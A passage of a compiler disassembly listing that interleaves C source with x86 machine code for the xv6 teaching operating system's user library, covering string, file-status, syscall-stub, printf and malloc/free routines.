1b8: 8d 65 f4 lea -0xc(%ebp),%esp
1bb: 5b pop %ebx
1bc: 5e pop %esi
1bd: 5f pop %edi
1be: 5d pop %ebp
1bf: c3 ret
break;
buf[i++] = c;
if(c == '\n' || c == '\r')
break;
}
buf[i] = '\0';
1c0: 8b 45 08 mov 0x8(%ebp),%eax
gets(char *buf, int max)
{
int i, cc;
char c;
for(i=0; i+1 < max; ){
1c3: 89 de mov %ebx,%esi
break;
buf[i++] = c;
if(c == '\n' || c == '\r')
break;
}
buf[i] = '\0';
1c5: c6 04 30 00 movb $0x0,(%eax,%esi,1)
return buf;
}
1c9: 8d 65 f4 lea -0xc(%ebp),%esp
1cc: 5b pop %ebx
1cd: 5e pop %esi
1ce: 5f pop %edi
1cf: 5d pop %ebp
1d0: c3 ret
1d1: eb 0d jmp 1e0 <stat>
1d3: 90 nop
1d4: 90 nop
1d5: 90 nop
1d6: 90 nop
1d7: 90 nop
1d8: 90 nop
1d9: 90 nop
1da: 90 nop
1db: 90 nop
1dc: 90 nop
1dd: 90 nop
1de: 90 nop
1df: 90 nop
000001e0 <stat>:
int
stat(const char *n, struct stat *st)
{
1e0: 55 push %ebp
1e1: 89 e5 mov %esp,%ebp
1e3: 56 push %esi
1e4: 53 push %ebx
int fd;
int r;
fd = open(n, O_RDONLY);
1e5: 83 ec 08 sub $0x8,%esp
1e8: 6a 00 push $0x0
1ea: ff 75 08 pushl 0x8(%ebp)
1ed: e8 f0 00 00 00 call 2e2 <open>
if(fd < 0)
1f2: 83 c4 10 add $0x10,%esp
1f5: 85 c0 test %eax,%eax
1f7: 78 27 js 220 <stat+0x40>
return -1;
r = fstat(fd, st);
1f9: 83 ec 08 sub $0x8,%esp
1fc: ff 75 0c pushl 0xc(%ebp)
1ff: 89 c3 mov %eax,%ebx
201: 50 push %eax
202: e8 f3 00 00 00 call 2fa <fstat>
207: 89 c6 mov %eax,%esi
close(fd);
209: 89 1c 24 mov %ebx,(%esp)
20c: e8 b9 00 00 00 call 2ca <close>
return r;
211: 83 c4 10 add $0x10,%esp
214: 89 f0 mov %esi,%eax
}
216: 8d 65 f8 lea -0x8(%ebp),%esp
219: 5b pop %ebx
21a: 5e pop %esi
21b: 5d pop %ebp
21c: c3 ret
21d: 8d 76 00 lea 0x0(%esi),%esi
int fd;
int r;
fd = open(n, O_RDONLY);
if(fd < 0)
return -1;
220: b8 ff ff ff ff mov $0xffffffff,%eax
225: eb ef jmp 216 <stat+0x36>
227: 89 f6 mov %esi,%esi
229: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000230 <atoi>:
return r;
}
int
atoi(const char *s)
{
230: 55 push %ebp
231: 89 e5 mov %esp,%ebp
233: 53 push %ebx
234: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
n = 0;
while('0' <= *s && *s <= '9')
237: 0f be 11 movsbl (%ecx),%edx
23a: 8d 42 d0 lea -0x30(%edx),%eax
23d: 3c 09 cmp $0x9,%al
23f: b8 00 00 00 00 mov $0x0,%eax
244: 77 1f ja 265 <atoi+0x35>
246: 8d 76 00 lea 0x0(%esi),%esi
249: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
n = n*10 + *s++ - '0';
250: 8d 04 80 lea (%eax,%eax,4),%eax
253: 83 c1 01 add $0x1,%ecx
256: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax
atoi(const char *s)
{
int n;
n = 0;
while('0' <= *s && *s <= '9')
25a: 0f be 11 movsbl (%ecx),%edx
25d: 8d 5a d0 lea -0x30(%edx),%ebx
260: 80 fb 09 cmp $0x9,%bl
263: 76 eb jbe 250 <atoi+0x20>
n = n*10 + *s++ - '0';
return n;
}
265: 5b pop %ebx
266: 5d pop %ebp
267: c3 ret
268: 90 nop
269: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
00000270 <memmove>:
void*
memmove(void *vdst, const void *vsrc, int n)
{
270: 55 push %ebp
271: 89 e5 mov %esp,%ebp
273: 56 push %esi
274: 53 push %ebx
275: 8b 5d 10 mov 0x10(%ebp),%ebx
278: 8b 45 08 mov 0x8(%ebp),%eax
27b: 8b 75 0c mov 0xc(%ebp),%esi
char *dst;
const char *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
27e: 85 db test %ebx,%ebx
280: 7e 14 jle 296 <memmove+0x26>
282: 31 d2 xor %edx,%edx
284: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
*dst++ = *src++;
288: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx
28c: 88 0c 10 mov %cl,(%eax,%edx,1)
28f: 83 c2 01 add $0x1,%edx
char *dst;
const char *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
292: 39 da cmp %ebx,%edx
294: 75 f2 jne 288 <memmove+0x18>
*dst++ = *src++;
return vdst;
}
296: 5b pop %ebx
297: 5e pop %esi
298: 5d pop %ebp
299: c3 ret
0000029a <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
29a: b8 01 00 00 00 mov $0x1,%eax
29f: cd 40 int $0x40
2a1: c3 ret
000002a2 <exit>:
SYSCALL(exit)
2a2: b8 02 00 00 00 mov $0x2,%eax
2a7: cd 40 int $0x40
2a9: c3 ret
000002aa <wait>:
SYSCALL(wait)
2aa: b8 03 00 00 00 mov $0x3,%eax
2af: cd 40 int $0x40
2b1: c3 ret
000002b2 <pipe>:
SYSCALL(pipe)
2b2: b8 04 00 00 00 mov $0x4,%eax
2b7: cd 40 int $0x40
2b9: c3 ret
000002ba <read>:
SYSCALL(read)
2ba: b8 05 00 00 00 mov $0x5,%eax
2bf: cd 40 int $0x40
2c1: c3 ret
000002c2 <write>:
SYSCALL(write)
2c2: b8 10 00 00 00 mov $0x10,%eax
2c7: cd 40 int $0x40
2c9: c3 ret
000002ca <close>:
SYSCALL(close)
2ca: b8 15 00 00 00 mov $0x15,%eax
2cf: cd 40 int $0x40
2d1: c3 ret
000002d2 <kill>:
SYSCALL(kill)
2d2: b8 06 00 00 00 mov $0x6,%eax
2d7: cd 40 int $0x40
2d9: c3 ret
000002da <exec>:
SYSCALL(exec)
2da: b8 07 00 00 00 mov $0x7,%eax
2df: cd 40 int $0x40
2e1: c3 ret
000002e2 <open>:
SYSCALL(open)
2e2: b8 0f 00 00 00 mov $0xf,%eax
2e7: cd 40 int $0x40
2e9: c3 ret
000002ea <mknod>:
SYSCALL(mknod)
2ea: b8 11 00 00 00 mov $0x11,%eax
2ef: cd 40 int $0x40
2f1: c3 ret
000002f2 <unlink>:
SYSCALL(unlink)
2f2: b8 12 00 00 00 mov $0x12,%eax
2f7: cd 40 int $0x40
2f9: c3 ret
000002fa <fstat>:
SYSCALL(fstat)
2fa: b8 08 00 00 00 mov $0x8,%eax
2ff: cd 40 int $0x40
301: c3 ret
00000302 <link>:
SYSCALL(link)
302: b8 13 00 00 00 mov $0x13,%eax
307: cd 40 int $0x40
309: c3 ret
0000030a <mkdir>:
SYSCALL(mkdir)
30a: b8 14 00 00 00 mov $0x14,%eax
30f: cd 40 int $0x40
311: c3 ret
00000312 <chdir>:
SYSCALL(chdir)
312: b8 09 00 00 00 mov $0x9,%eax
317: cd 40 int $0x40
319: c3 ret
0000031a <dup>:
SYSCALL(dup)
31a: b8 0a 00 00 00 mov $0xa,%eax
31f: cd 40 int $0x40
321: c3 ret
00000322 <getpid>:
SYSCALL(getpid)
322: b8 0b 00 00 00 mov $0xb,%eax
327: cd 40 int $0x40
329: c3 ret
0000032a <sbrk>:
SYSCALL(sbrk)
32a: b8 0c 00 00 00 mov $0xc,%eax
32f: cd 40 int $0x40
331: c3 ret
00000332 <sleep>:
SYSCALL(sleep)
332: b8 0d 00 00 00 mov $0xd,%eax
337: cd 40 int $0x40
339: c3 ret
0000033a <uptime>:
SYSCALL(uptime)
33a: b8 0e 00 00 00 mov $0xe,%eax
33f: cd 40 int $0x40
341: c3 ret
342: 66 90 xchg %ax,%ax
344: 66 90 xchg %ax,%ax
346: 66 90 xchg %ax,%ax
348: 66 90 xchg %ax,%ax
34a: 66 90 xchg %ax,%ax
34c: 66 90 xchg %ax,%ax
34e: 66 90 xchg %ax,%ax
00000350 <printint>:
write(fd, &c, 1);
}
static void
printint(int fd, int xx, int base, int sgn)
{
350: 55 push %ebp
351: 89 e5 mov %esp,%ebp
353: 57 push %edi
354: 56 push %esi
355: 53 push %ebx
356: 89 c6 mov %eax,%esi
358: 83 ec 3c sub $0x3c,%esp
char buf[16];
int i, neg;
uint x;
neg = 0;
if(sgn && xx < 0){
35b: 8b 5d 08 mov 0x8(%ebp),%ebx
35e: 85 db test %ebx,%ebx
360: 74 7e je 3e0 <printint+0x90>
362: 89 d0 mov %edx,%eax
364: c1 e8 1f shr $0x1f,%eax
367: 84 c0 test %al,%al
369: 74 75 je 3e0 <printint+0x90>
neg = 1;
x = -xx;
36b: 89 d0 mov %edx,%eax
int i, neg;
uint x;
neg = 0;
if(sgn && xx < 0){
neg = 1;
36d: c7 45 c4 01 00 00 00 movl $0x1,-0x3c(%ebp)
x = -xx;
374: f7 d8 neg %eax
376: 89 75 c0 mov %esi,-0x40(%ebp)
} else {
x = xx;
}
i = 0;
379: 31 ff xor %edi,%edi
37b: 8d 5d d7 lea -0x29(%ebp),%ebx
37e: 89 ce mov %ecx,%esi
380: eb 08 jmp 38a <printint+0x3a>
382: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
do{
buf[i++] = digits[x % base];
388: 89 cf mov %ecx,%edi
38a: 31 d2 xor %edx,%edx
38c: 8d 4f 01 lea 0x1(%edi),%ecx
38f: f7 f6 div %esi
391: 0f b6 92 2c 07 00 00 movzbl 0x72c(%edx),%edx
}while((x /= base) != 0);
398: 85 c0 test %eax,%eax
x = xx;
}
i = 0;
do{
buf[i++] = digits[x % base];
39a: 88 14 0b mov %dl,(%ebx,%ecx,1)
}while((x /= base) != 0);
39d: 75 e9 jne 388 <printint+0x38>
if(neg)
39f: 8b 45 c4 mov -0x3c(%ebp),%eax
3a2: 8b 75 c0 mov -0x40(%ebp),%esi
3a5: 85 c0 test %eax,%eax
3a7: 74 08 je 3b1 <printint+0x61>
buf[i++] = '-';
3a9: c6 44 0d d8 2d movb $0x2d,-0x28(%ebp,%ecx,1)
3ae: 8d 4f 02 lea 0x2(%edi),%ecx
3b1: 8d 7c 0d d7 lea -0x29(%ebp,%ecx,1),%edi
3b5: 8d 76 00 lea 0x0(%esi),%esi
3b8: 0f b6 07 movzbl (%edi),%eax
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
3bb: 83 ec 04 sub $0x4,%esp
3be: 83 ef 01 sub $0x1,%edi
3c1: 6a 01 push $0x1
3c3: 53 push %ebx
3c4: 56 push %esi
3c5: 88 45 d7 mov %al,-0x29(%ebp)
3c8: e8 f5 fe ff ff call 2c2 <write>
buf[i++] = digits[x % base];
}while((x /= base) != 0);
if(neg)
buf[i++] = '-';
while(--i >= 0)
3cd: 83 c4 10 add $0x10,%esp
3d0: 39 df cmp %ebx,%edi
3d2: 75 e4 jne 3b8 <printint+0x68>
putc(fd, buf[i]);
}
3d4: 8d 65 f4 lea -0xc(%ebp),%esp
3d7: 5b pop %ebx
3d8: 5e pop %esi
3d9: 5f pop %edi
3da: 5d pop %ebp
3db: c3 ret
3dc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
neg = 0;
if(sgn && xx < 0){
neg = 1;
x = -xx;
} else {
x = xx;
3e0: 89 d0 mov %edx,%eax
static char digits[] = "0123456789ABCDEF";
char buf[16];
int i, neg;
uint x;
neg = 0;
3e2: c7 45 c4 00 00 00 00 movl $0x0,-0x3c(%ebp)
3e9: eb 8b jmp 376 <printint+0x26>
3eb: 90 nop
3ec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
000003f0 <printf>:
}
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, const char *fmt, ...)
{
3f0: 55 push %ebp
3f1: 89 e5 mov %esp,%ebp
3f3: 57 push %edi
3f4: 56 push %esi
3f5: 53 push %ebx
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
3f6: 8d 45 10 lea 0x10(%ebp),%eax
}
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, const char *fmt, ...)
{
3f9: 83 ec 2c sub $0x2c,%esp
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
3fc: 8b 75 0c mov 0xc(%ebp),%esi
}
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, const char *fmt, ...)
{
3ff: 8b 7d 08 mov 0x8(%ebp),%edi
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
402: 89 45 d0 mov %eax,-0x30(%ebp)
405: 0f b6 1e movzbl (%esi),%ebx
408: 83 c6 01 add $0x1,%esi
40b: 84 db test %bl,%bl
40d: 0f 84 b0 00 00 00 je 4c3 <printf+0xd3>
413: 31 d2 xor %edx,%edx
415: eb 39 jmp 450 <printf+0x60>
417: 89 f6 mov %esi,%esi
419: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
c = fmt[i] & 0xff;
if(state == 0){
if(c == '%'){
420: 83 f8 25 cmp $0x25,%eax
423: 89 55 d4 mov %edx,-0x2c(%ebp)
state = '%';
426: ba 25 00 00 00 mov $0x25,%edx
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
c = fmt[i] & 0xff;
if(state == 0){
if(c == '%'){
42b: 74 18 je 445 <printf+0x55>
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
42d: 8d 45 e2 lea -0x1e(%ebp),%eax
430: 83 ec 04 sub $0x4,%esp
433: 88 5d e2 mov %bl,-0x1e(%ebp)
436: 6a 01 push $0x1
438: 50 push %eax
439: 57 push %edi
43a: e8 83 fe ff ff call 2c2 <write>
43f: 8b 55 d4 mov -0x2c(%ebp),%edx
442: 83 c4 10 add $0x10,%esp
445: 83 c6 01 add $0x1,%esi
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
448: 0f b6 5e ff movzbl -0x1(%esi),%ebx
44c: 84 db test %bl,%bl
44e: 74 73 je 4c3 <printf+0xd3>
c = fmt[i] & 0xff;
if(state == 0){
450: 85 d2 test %edx,%edx
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
c = fmt[i] & 0xff;
452: 0f be cb movsbl %bl,%ecx
455: 0f b6 c3 movzbl %bl,%eax
if(state == 0){
458: 74 c6 je 420 <printf+0x30>
if(c == '%'){
state = '%';
} else {
putc(fd, c);
}
} else if(state == '%'){
45a: 83 fa 25 cmp $0x25,%edx
45d: 75 e6 jne 445 <printf+0x55>
if(c == 'd'){
45f: 83 f8 64 cmp $0x64,%eax
462: 0f 84 f8 00 00 00 je 560 <printf+0x170>
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
468: 81 e1 f7 00 00 00 and $0xf7,%ecx
46e: 83 f9 70 cmp $0x70,%ecx
471: 74 5d je 4d0 <printf+0xe0>
printint(fd, *ap, 16, 0);
ap++;
} else if(c == 's'){
473: 83 f8 73 cmp $0x73,%eax
476: 0f 84 84 00 00 00 je 500 <printf+0x110>
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
47c: 83 f8 63 cmp $0x63,%eax
47f: 0f 84 ea 00 00 00 je 56f <printf+0x17f>
putc(fd, *ap);
ap++;
} else if(c == '%'){
485: 83 f8 25 cmp $0x25,%eax
488: 0f 84 c2 00 00 00 je 550 <printf+0x160>
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
48e: 8d 45 e7 lea -0x19(%ebp),%eax
491: 83 ec 04 sub $0x4,%esp
494: c6 45 e7 25 movb $0x25,-0x19(%ebp)
498: 6a 01 push $0x1
49a: 50 push %eax
49b: 57 push %edi
49c: e8 21 fe ff ff call 2c2 <write>
4a1: 83 c4 0c add $0xc,%esp
4a4: 8d 45 e6 lea -0x1a(%ebp),%eax
4a7: 88 5d e6 mov %bl,-0x1a(%ebp)
4aa: 6a 01 push $0x1
4ac: 50 push %eax
4ad: 57 push %edi
4ae: 83 c6 01 add $0x1,%esi
4b1: e8 0c fe ff ff call 2c2 <write>
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
4b6: 0f b6 5e ff movzbl -0x1(%esi),%ebx
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
4ba: 83 c4 10 add $0x10,%esp
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
}
state = 0;
4bd: 31 d2 xor %edx,%edx
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
4bf: 84 db test %bl,%bl
4c1: 75 8d jne 450 <printf+0x60>
putc(fd, c);
}
state = 0;
}
}
}
4c3: 8d 65 f4 lea -0xc(%ebp),%esp
4c6: 5b pop %ebx
4c7: 5e pop %esi
4c8: 5f pop %edi
4c9: 5d pop %ebp
4ca: c3 ret
4cb: 90 nop
4cc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
} else if(state == '%'){
if(c == 'd'){
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
printint(fd, *ap, 16, 0);
4d0: 83 ec 0c sub $0xc,%esp
4d3: b9 10 00 00 00 mov $0x10,%ecx
4d8: 6a 00 push $0x0
4da: 8b 5d d0 mov -0x30(%ebp),%ebx
4dd: 89 f8 mov %edi,%eax
4df: 8b 13 mov (%ebx),%edx
4e1: e8 6a fe ff ff call 350 <printint>
ap++;
4e6: 89 d8 mov %ebx,%eax
4e8: 83 c4 10 add $0x10,%esp
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
}
state = 0;
4eb: 31 d2 xor %edx,%edx
if(c == 'd'){
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
printint(fd, *ap, 16, 0);
ap++;
4ed: 83 c0 04 add $0x4,%eax
4f0: 89 45 d0 mov %eax,-0x30(%ebp)
4f3: e9 4d ff ff ff jmp 445 <printf+0x55>
4f8: 90 nop
4f9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
} else if(c == 's'){
s = (char*)*ap;
500: 8b 45 d0 mov -0x30(%ebp),%eax
503: 8b 18 mov (%eax),%ebx
ap++;
505: 83 c0 04 add $0x4,%eax
508: 89 45 d0 mov %eax,-0x30(%ebp)
if(s == 0)
s = "(null)";
50b: b8 24 07 00 00 mov $0x724,%eax
510: 85 db test %ebx,%ebx
512: 0f 44 d8 cmove %eax,%ebx
while(*s != 0){
515: 0f b6 03 movzbl (%ebx),%eax
518: 84 c0 test %al,%al
51a: 74 23 je 53f <printf+0x14f>
51c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
520: 88 45 e3 mov %al,-0x1d(%ebp)
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
523: 8d 45 e3 lea -0x1d(%ebp),%eax
526: 83 ec 04 sub $0x4,%esp
529: 6a 01 push $0x1
ap++;
if(s == 0)
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
52b: 83 c3 01 add $0x1,%ebx
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
52e: 50 push %eax
52f: 57 push %edi
530: e8 8d fd ff ff call 2c2 <write>
} else if(c == 's'){
s = (char*)*ap;
ap++;
if(s == 0)
s = "(null)";
while(*s != 0){
535: 0f b6 03 movzbl (%ebx),%eax
538: 83 c4 10 add $0x10,%esp
53b: 84 c0 test %al,%al
53d: 75 e1 jne 520 <printf+0x130>
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
}
state = 0;
53f: 31 d2 xor %edx,%edx
541: e9 ff fe ff ff jmp 445 <printf+0x55>
546: 8d 76 00 lea 0x0(%esi),%esi
549: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
550: 83 ec 04 sub $0x4,%esp
553: 88 5d e5 mov %bl,-0x1b(%ebp)
556: 8d 45 e5 lea -0x1b(%ebp),%eax
559: 6a 01 push $0x1
55b: e9 4c ff ff ff jmp 4ac <printf+0xbc>
} else {
putc(fd, c);
}
} else if(state == '%'){
if(c == 'd'){
printint(fd, *ap, 10, 1);
560: 83 ec 0c sub $0xc,%esp
563: b9 0a 00 00 00 mov $0xa,%ecx
568: 6a 01 push $0x1
56a: e9 6b ff ff ff jmp 4da <printf+0xea>
56f: 8b 5d d0 mov -0x30(%ebp),%ebx
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
572: 83 ec 04 sub $0x4,%esp
575: 8b 03 mov (%ebx),%eax
577: 6a 01 push $0x1
579: 88 45 e4 mov %al,-0x1c(%ebp)
57c: 8d 45 e4 lea -0x1c(%ebp),%eax
57f: 50 push %eax
580: 57 push %edi
581: e8 3c fd ff ff call 2c2 <write>
586: e9 5b ff ff ff jmp 4e6 <printf+0xf6>
58b: 66 90 xchg %ax,%ax
58d: 66 90 xchg %ax,%ax
58f: 90 nop
00000590 <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
590: 55 push %ebp
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
591: a1 d0 09 00 00 mov 0x9d0,%eax
static Header base;
static Header *freep;
void
free(void *ap)
{
596: 89 e5 mov %esp,%ebp
598: 57 push %edi
599: 56 push %esi
59a: 53 push %ebx
59b: 8b 5d 08 mov 0x8(%ebp),%ebx
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
59e: 8b 10 mov (%eax),%edx
void
free(void *ap)
{
Header *bp, *p;
bp = (Header*)ap - 1;
5a0: 8d 4b f8 lea -0x8(%ebx),%ecx
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
5a3: 39 c8 cmp %ecx,%eax
5a5: 73 19 jae 5c0 <free+0x30>
5a7: 89 f6 mov %esi,%esi
5a9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
5b0: 39 d1 cmp %edx,%ecx
5b2: 72 1c jb 5d0 <free+0x40>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
5b4: 39 d0 cmp %edx,%eax
5b6: 73 18 jae 5d0 <free+0x40>
static Header base;
static Header *freep;
void
free(void *ap)
{
5b8: 89 d0 mov %edx,%eax
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
5ba: 39 c8 cmp %ecx,%eax
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
5bc: 8b 10 mov (%eax),%edx
free(void *ap)
{
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
5be: 72 f0 jb 5b0 <free+0x20>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
5c0: 39 d0 cmp %edx,%eax
5c2: 72 f4 jb 5b8 <free+0x28>
5c4: 39 d1 cmp %edx,%ecx
5c6: 73 f0 jae 5b8 <free+0x28>
5c8: 90 nop
5c9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
break;
if(bp + bp->s.size == p->s.ptr){
5d0: 8b 73 fc mov -0x4(%ebx),%esi
5d3: 8d 3c f1 lea (%ecx,%esi,8),%edi
5d6: 39 d7 cmp %edx,%edi
5d8: 74 19 je 5f3 <free+0x63>
bp->s.size += p->s.ptr->s.size;
bp->s.ptr = p->s.ptr->s.ptr;
} else
bp->s.ptr = p->s.ptr;
5da: 89 53 f8 mov %edx,-0x8(%ebx)
if(p + p->s.size == bp){
5dd: 8b 50 04 mov 0x4(%eax),%edx
5e0: 8d 34 d0 lea (%eax,%edx,8),%esi
5e3: 39 f1 cmp %esi,%ecx
5e5: 74 23 je 60a <free+0x7a>
p->s.size += bp->s.size;
p->s.ptr = bp->s.ptr;
} else
p->s.ptr = bp;
5e7: 89 08 mov %ecx,(%eax)
freep = p;
5e9: a3 d0 09 00 00 mov %eax,0x9d0
}
5ee: 5b pop %ebx
5ef: 5e pop %esi
5f0: 5f pop %edi
5f1: 5d pop %ebp
5f2: c3 ret
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
break;
if(bp + bp->s.size == p->s.ptr){
bp->s.size += p->s.ptr->s.size;
5f3: 03 72 04 add 0x4(%edx),%esi
5f6: 89 73 fc mov %esi,-0x4(%ebx)
bp->s.ptr = p->s.ptr->s.ptr;
5f9: 8b 10 mov (%eax),%edx
5fb: 8b 12 mov (%edx),%edx
5fd: 89 53 f8 mov %edx,-0x8(%ebx)
} else
bp->s.ptr = p->s.ptr;
if(p + p->s.size == bp){
600: 8b 50 04 mov 0x4(%eax),%edx
603: 8d 34 d0 lea (%eax,%edx,8),%esi
606: 39 f1 cmp %esi,%ecx
608: 75 dd jne 5e7 <free+0x57>
p->s.size += bp->s.size;
60a: 03 53 fc add -0x4(%ebx),%edx
p->s.ptr = bp->s.ptr;
} else
p->s.ptr = bp;
freep = p;
60d: a3 d0 09 00 00 mov %eax,0x9d0
bp->s.size += p->s.ptr->s.size;
bp->s.ptr = p->s.ptr->s.ptr;
} else
bp->s.ptr = p->s.ptr;
if(p + p->s.size == bp){
p->s.size += bp->s.size;
612: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
615: 8b 53 f8 mov -0x8(%ebx),%edx
618: 89 10 mov %edx,(%eax)
} else
p->s.ptr = bp;
freep = p;
}
61a: 5b pop %ebx
61b: 5e pop %esi
61c: 5f pop %edi
61d: 5d pop %ebp
61e: c3 ret
61f: 90 nop
00000620 <malloc>:
return freep;
}
void*
malloc(uint nbytes)
{
620: 55 push %ebp
621: 89 e5 mov %esp,%ebp
623: 57 push %edi
624: 56 push %esi
625: 53 push %ebx
626: 83 ec 0c sub $0xc,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
629: 8b 45 08 mov 0x8(%ebp),%eax
if((prevp = freep) == 0){
62c: 8b 15 d0 09 00 00 mov 0x9d0,%edx
malloc(uint nbytes)
{
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
632: 8d 78 07 lea 0x7(%eax),%edi
635: c1 ef 03 shr $0x3,%edi
638: 83 c7 01 add $0x1,%edi
if((prevp = freep) == 0){
63b: 85 d2 test %edx,%edx
63d: 0f 84 a3 00 00 00 je 6e6 <malloc+0xc6>
643: 8b 02 mov (%edx),%eax
645: 8b 48 04 mov 0x4(%eax),%ecx
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
if(p->s.size >= nunits){
648: 39 cf cmp %ecx,%edi
64a: 76 74 jbe 6c0 <malloc+0xa0>
64c: 81 ff 00 10 00 00 cmp $0x1000,%edi
652: be 00 10 00 00 mov $0x1000,%esi
657: 8d 1c fd 00 00 00 00 lea 0x0(,%edi,8),%ebx
65e: 0f 43 f7 cmovae %edi,%esi
661: ba 00 80 00 00 mov $0x8000,%edx
666: 81 ff ff 0f 00 00 cmp $0xfff,%edi
66c: 0f 46 da cmovbe %edx,%ebx
66f: eb 10 jmp 681 <malloc+0x61>
671: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
if((prevp = freep) == 0){
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
678: 8b 02 mov (%edx),%eax
if(p->s.size >= nunits){
67a: 8b 48 04 mov 0x4(%eax),%ecx
67d: 39 cf cmp %ecx,%edi
67f: 76 3f jbe 6c0 <malloc+0xa0>
p->s.size = nunits;
}
freep = prevp;
return (void*)(p + 1);
}
if(p == freep)
681: 39 05 d0 09 00 00 cmp %eax,0x9d0
687: 89 c2 mov %eax,%edx
689: 75 ed jne 678 <malloc+0x58>
char *p;
Header *hp;
if(nu < 4096)
nu = 4096;
p = sbrk(nu * sizeof(Header));
68b: 83 ec 0c sub $0xc,%esp
68e: 53 push %ebx
68f: e8 96 fc ff ff call 32a <sbrk>
if(p == (char*)-1)
694: 83 c4 10 add $0x10,%esp
697: 83 f8 ff cmp $0xffffffff,%eax
69a: 74 1c je 6b8 <malloc+0x98>
return 0;
hp = (Header*)p;
hp->s.size = nu;
69c: 89 70 04 mov %esi,0x4(%eax)
free((void*)(hp + 1));
69f: 83 ec 0c sub $0xc,%esp
6a2: 83 c0 08 add $0x8,%eax
6a5: 50 push %eax
6a6: e8 e5 fe ff ff call 590 <free>
return freep;
6ab: 8b 15 d0 09 00 00 mov 0x9d0,%edx
}
freep = prevp;
return (void*)(p + 1);
}
if(p == freep)
if((p = morecore(nunits)) == 0)
6b1: 83 c4 10 add $0x10,%esp
6b4: 85 d2 test %edx,%edx
6b6: 75 c0 jne 678 <malloc+0x58>
return 0;
